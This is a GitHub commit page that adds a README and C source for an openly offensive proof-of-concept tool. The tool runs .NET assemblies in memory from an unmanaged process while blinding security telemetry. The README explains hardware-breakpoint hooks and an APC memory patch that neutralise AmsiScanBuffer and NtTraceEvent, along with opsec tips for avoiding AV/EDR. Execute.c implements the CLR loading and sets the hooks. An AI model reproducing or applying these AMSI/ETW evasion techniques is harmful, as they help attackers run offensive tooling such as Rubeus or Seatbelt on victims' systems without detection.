Skip to content

Commit

Permalink
add stuff
Browse files Browse the repository at this point in the history
  • Loading branch information
NtDallas committed Dec 29, 2024
1 parent 8d76ac2 commit bf0342d
Show file tree
Hide file tree
Showing 17 changed files with 13,264 additions and 0 deletions.
89 changes: 89 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,89 @@

Executing .NET Files from an Unmanaged Process with Manual CLR Loading.

Manually loading the CLR in an unmanaged process and using hardware breakpoints can reveal when the CLR calls ```NtTraceEvent``` through the managed thread pool.

To evade detection, this tool offers two approaches:

- Fileless execution by hooking ```NtTraceEvent``` ```AmsiScan``` and thread-pooling functions using hardware breakpoints.
- Patching the target function via an APC (Asynchronous Procedure Call).

The CLR utilizes thread pooling to optimize the execution of .NET applications. Some calls to ```NtTraceEvent``` are made via the thread pool.
To evade these calls, it is necessary to either control the thread pool or patch the function's implementation.

![image info](./img/img1.png)

It is also very important to hook ```NtCreateThreadEx``` because some assemblies, such as SharpUp, use multithreading. New threads created by these assemblies can generate telemetry via ``` NtTraceEvent``` .
https://github.com/GhostPack/SharpUp/blob/master/SharpUp/Program.cs#L53

# Fileless method

Set Hardware Breakpoints (HWBP) on the Following Functions:

- ```AmsiScanBuffer``` : Redirect the instruction pointer (rip) to the return instruction, and set the rax register to AMSI_RESULT_CLEAN.
- ```NtTraceEvent``` : Redirect rip to the return instruction, and set the rax register to STATUS_SUCCESS.
- ```NtCreateThreadEx``` : When the assembly creates a thread, the hook intercepts the function call and runs it via an indirect syscall. Once the thread is created, the HWBP is placed on the new thread, and rip is redirected to the return instruction.
- ```NtCreateWorkerFactory``` : Modify the start address of the worker factory to a controlled function to place an HWBP on threads created by the worker factory. After setting the HWBP, jump back to the legitimate start address.
- ```RtlQueueWorkItem``` : Modify the start address of the thread pool to a controlled function to place an HWBP on threads created by the worker factory. After setting the HWBP, jump back to the legitimate start address.

Warning:
Be aware that ```NtTraceEvent``` is sometimes called outside controlled threads due to the limitation of HWBP (only 4 addresses can be set). During long assembly executions (e.g., running Seatbelt with -group=all), you may encounter 1 or 2 uncontrolled events.

| NtTraceEvent Leak | Nbr of Call |
|------------------------------|-------------|
| Seatbelt -group=all | +/- 2 |
| Seatbelt -group=misc | 1 |
| SharpUp audit | 0 |
| Rubeus triage | 0 |

NB : If you're daring, you could parse all threads in the process for each HWBP hit to check whether the HWBP is present, reducing the risk of ```NtTraceEvent``` leaks. However, I did not implement this method because I believe making numerous calls to ```CreateToolhelpSnapshot```/```OpenProcess``` is riskier than allowing a few ```NtTraceEvent``` leaks.

Another possibility is to add a watchdog that checks every X ms if a new thread is present, and then adds an HWBP to it.

Some assemblies may encounter issues with HWBP hooking (but not with patching) for unknown reasons.

# Patching method

Use WriteProcessMemoryAPC to patch the content AmsiScanBuffer and NtTraceEvent with :

```
nop
xor rax, rax
ret
```

# Opsec consideration

- Consideration 1 :
Evading ETW is effective, but you might observe strange behavior during execution. If your process loads the CLR and ETW does not receive telemetry, this is not a normal aspect of assembly execution.

- Consideration 2 :
Loading the CLR from a managed process can appear suspicious. You can inject your assembly into a process where the CLR is already loaded.

- Consideration 3 :
Patching a function is the most reliable way (100% certain) to ensure it will not be called, but it is also the most dangerous method for evading AMSI/ETW.

- Consideration 4 :
Evading AMSI and ETW is not a silver bullet. If your assembly exhibits malicious behavior or is subject to a memory scan, an AV/EDR can still catch you !

- Consideration 5 :
Having ETW blind at 100% is not a legitimate action; take this into consideration.


# Important notes

Development & Testing on Windows 11 Pro 23H2 x64; I haven't checked or tested on other systems.

It doesn't work on x86 systems due to the indirect syscall on the ```NtCreateThreadEx``` hook.

On Windows 10, more ```NtTraceEvent``` leaks are present, probably due to a different method for thread pooling. However, don't forget that having ETW blind at 100% is not legitimate. It's better to spend 15 minutes editing the assembly to remove IoCs and keep ETW active.

Keep in mind, it's more of a proof of concept (POC) than a ready-to-use tool.

# Credit

- WriteProcessMemoryAPC : https://www.x86matthew.com/view_post?id=writeprocessmemory_apc
- InlineExecute-Assembly : https://github.com/anthemtotheego/InlineExecute-Assembly
- ExecuteAssembly : https://github.com/med0x2e/ExecuteAssembly
- HWBP : https://www.intel.com/content/dam/support/us/en/documents/processors/pentium4/sb/253669.pdf (chapter 18)
- TartarusGate : https://github.com/trickster0/TartarusGate
Binary file added img/img1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
168 changes: 168 additions & 0 deletions src/Execute.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,168 @@
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>

#include "Structs.h"
#include "SharpStruct.h"
#include "Prototypes.h"

#pragma comment(lib, "MSCorEE.lib")

const wchar_t wClrV2[] = L"v2.0.50727";
const wchar_t wClrV4[] = L"v4.0.30319";

BOOL executeAssembly(
_In_ PVOID pAssemblyContent,
_In_ DWORD dwAssemblySize,
_In_ LPWSTR lpwAssemblyArgs
)
{
ICLRMetaHost* pMetaHost = NULL;
ICLRRuntimeInfo* pRuntimeInfo = NULL;
IEnumUnknown* pRuntimeEnum = NULL;
ICorRuntimeHost* pRuntimeHost = NULL;
IUnknown* pAppDomainThunk = NULL;
AppDomain* pAppDomain = NULL;
Assembly* pAssembly = NULL;
MethodInfo* pMethodInfo = NULL;

HRESULT hr = S_OK;
BOOL bLoadable = FALSE;

VARIANT retVal = { 0 };
VARIANT obj = { 0 };

clrVersion version;

obj.vt = VT_NULL;

printf("[*] Assembly Size : %d\n[*] Assembly in memory addr : 0x%p\n\n", dwAssemblySize, pAssemblyContent);


version = GetVersionOfClr(pAssemblyContent, dwAssemblySize);
CLRCreateInstance(&xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (LPVOID*)&pMetaHost);

hr = pMetaHost->lpVtbl->EnumerateLoadedRuntimes((HANDLE)-1, (HANDLE)-1, &pRuntimeEnum);
if (FAILED(hr)) {
return FALSE;
}

BOOL clrIsLoaded = CheckIfClrIsLoaded(version, pRuntimeEnum, (PVOID*)&pRuntimeInfo);
if (!
clrIsLoaded
)
{
printf("[*] CLR is not loaded !\n");

if (version == CLR_V2)
{
hr = pMetaHost->lpVtbl->GetRuntime(pMetaHost, wClrV2, &IID_ICLRRuntimeInfo, (PVOID*)&pRuntimeInfo);
}
else
{
hr = pMetaHost->lpVtbl->GetRuntime(pMetaHost, wClrV4, &IID_ICLRRuntimeInfo, (PVOID*)&pRuntimeInfo);
}
if (FAILED(hr))
return FALSE;

hr = pRuntimeInfo->lpVtbl->IsLoadable(pRuntimeInfo, &bLoadable);
if (FAILED(hr) || !bLoadable)
return FALSE;
}

hr = pRuntimeInfo->lpVtbl->GetInterface(pRuntimeInfo, &CLSID_CorRuntimeHost, &IID_ICorRuntimeHost, (PVOID*)&pRuntimeHost);
if (FAILED(hr))
return FALSE;

hr = pRuntimeHost->lpVtbl->Start(pRuntimeInfo);
if (FAILED(hr))
return FALSE;

hr = pRuntimeHost->lpVtbl->GetDefaultDomain(pRuntimeInfo, &pAppDomainThunk);
if (FAILED(hr))
return FALSE;

hr = pAppDomainThunk->lpVtbl->QueryInterface(pAppDomainThunk, &xIID_AppDomain, &pAppDomain);
if (FAILED(hr))
return FALSE;

SAFEARRAYBOUND rgsabound[1];
rgsabound[0].cElements = dwAssemblySize;
rgsabound[0].lLbound = 0;
DWORD dwOldProtect = 0;

SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, rgsabound);
if (pSafeArray == NULL)
return FALSE;

PVOID pvData = NULL;

hr = SafeArrayAccessData(pSafeArray, &pvData);
if (FAILED(hr))
return FALSE;

RtlCopyMemory(pvData, pAssemblyContent, dwAssemblySize);

hr = SafeArrayUnaccessData(pSafeArray);
if (FAILED(hr))
return FALSE;

hr = pAppDomain->lpVtbl->Load_3(pAppDomain, pSafeArray, &pAssembly);
if (FAILED(hr))
return FALSE;

hr = pAssembly->lpVtbl->EntryPoint(pAssembly, &pMethodInfo);
if (FAILED(hr))
return FALSE;

SAFEARRAY* params = NULL;
if (lpwAssemblyArgs == NULL)
{
params = SafeArrayCreateVector(VT_EMPTY, 0, 0);
}
else
{
params = prepareArgs(lpwAssemblyArgs);
}

if (!params)
return FALSE;


#ifdef HWBP
HANDLE hThread = GetCurrentThread();
HMODULE hModNtdll = LoadLibraryA("Ntdll.dll");

if (!hModNtdll)
return FALSE;

DWORD64 dwNtTraceEvent = GetProcAddress(hModNtdll, "NtTraceEvent");
DWORD64 dwNtCreateThreadEx = GetProcAddress(hModNtdll, "NtCreateThreadEx");
DWORD64 dwNtCreateWorkerFactory = GetProcAddress(hModNtdll, "NtCreateWorkerFactory");
DWORD64 dwRtlQueueWorkItem = GetProcAddress(hModNtdll, "RtlQueueWorkItem");

if (
!dwNtTraceEvent ||
!dwNtCreateThreadEx ||
!dwNtCreateWorkerFactory ||
!dwRtlQueueWorkItem
)
return FALSE;
SetHwbp(hThread, dwNtTraceEvent, dwNtCreateWorkerFactory, dwRtlQueueWorkItem, dwNtCreateThreadEx);
AddVectoredExceptionHandler(1, &HookHandler);

#endif
/*
AmsiScanBuffer is call before Invoke_3, the hook in dr0 was change for NtTraceEvent
*/
printf("[*] Call Invoke_3\n");

hr = pMethodInfo->lpVtbl->Invoke_3(pMethodInfo, obj, params, &retVal);
if (FAILED(hr))
return FALSE;

SafeArrayDestroy(pSafeArray);
SafeArrayDestroy(params);

return TRUE;
}
Loading

0 comments on commit bf0342d

Please sign in to comment.